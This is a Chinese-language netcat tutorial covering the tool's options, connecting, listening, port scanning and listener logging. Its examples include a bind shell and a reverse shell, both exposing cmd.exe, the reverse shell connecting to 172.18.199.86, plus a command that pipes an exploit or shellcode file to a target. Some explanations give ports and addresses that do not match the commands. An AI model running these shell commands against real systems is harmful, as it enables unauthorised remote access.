簡介
- netcat被譽爲網絡安全界的‘瑞士軍刀’,相信沒有什麼人不認識它吧… 一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的後門工具,能夠直接由其它程和腳本輕鬆驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。
- 在中國,它的WINDOWS版有兩個版本,一個是原創者Chris Wysopal寫的原版本,另一個是由“紅與黑”編譯後的新“濃縮”版。“濃縮”版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。
軟件介紹
- 工具名:Netcat
作者:Hobbit && Chris Wysopal - 網址: https://github.com/diegocr/netcat
類別:開放源碼
平臺:Linux/BSD/Unix/Windows
參數介紹
- nc.exe -h即可看到各參數的使用方法。
基本格式:
nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
基本使用
參數 | 說明 |
---|---|
-C | 類似-L選項,一直不斷連接[1.13版本新加的功能] |
-d | 後臺執行 |
-e prog | 程序重定向,一旦連接,就執行 [危險!!] |
-g gateway | 源路由跳數,最大值爲8(source-routing hoppoint[s],up to 8) |
-G num | 源路由指針:4,8,12,… (source-routing pointer:4,8,12,…) |
-h | 幫助信息 |
-i secs | 延時的間隔 |
-l | 監聽模式,用於入站連接 |
-n | 指定數字的IP地址,不能用hostname |
-o file | 記錄16進制的傳輸 |
-p port | 本地端口號 |
-r | 任意指定本地及遠程端口 |
-s addr | 指定發送數據的源IP地址,適用於多網卡機 |
-u | UDP模式,[netcat-1.15可以:遠程nc -ulp port -ecmd.exe,本地nc -u ip port連接,得到一個shell.] |
-t | -t是通過telnet模式執行 |
-v | 詳細輸出——用兩個-v可得到更詳細的內容 |
-w secs | 指定超時的時間 |
-z | 將輸入輸出關掉——用於掃描時。表示zero,表示掃描時不發送任何數據 |
基本用法
-
連接到REMOTE主機,例子:
# nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口 -
監聽LOCAL主機,例子:
# nc -l -p 80
講解:監聽本機的TCP80端口
• (B機器監聽一個沒有的端口,可以互相聊天)
• (A機器nc –nvv B機器IP 端口 nc -nvv 192.168.120.242 1234) -
掃描遠程主機,例子:
# nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
• (速度很慢) -
REMOTE主機綁定SHELL,例子:
# nc -l -p 1234 -t -e c:\windows\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354 -
REMOTE主機綁定SHELL並反向連接,例子:
# nc -t -e c:\windows\system32\cmd.exe 172.18.199.86 6666
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口
以上爲最基本的幾種用法(其實NC的用法還有很多,當配合管道命令"|“與重定向命令”<"、">"等等命令功能更強大…)。
高級用法
-
作攻擊程序用,例子:
# type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
# nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80端口,並在其管道中發送’c:\exploit.txt’的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)附:'c:\exploit.txt’爲shellcode等 -
作蜜罐用[1],例子:
# nc -L -p 80
講解:使用’-L’(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c爲止
• B機器 nc –L –p 888
• A機器 nc.exe –nvv 172.18.199.86 22
• 可以實現互相聊天 -
作蜜罐用[2],例子:
# nc -L -p 80 > c:\log.txt
講解:使用’-L’可以不停地監聽某一個端口,直到ctrl+c爲止,同時把結果輸出到’c:\log.txt’中,如果把‘>’ 改爲‘>>'即可以追加日誌
附:'c:\log.txt’爲日誌等 -
作蜜罐用[3],例子:
# nc -L -p 80 < c:\honeypot.txt
# type.exe c:\honeypot.txt|nc -L -p 80
講解:使用’-L’可以不停地監聽某一個端口,直到ctrl+c爲止,並把’c:\honeypot.txt’的內容‘送’入其管道中!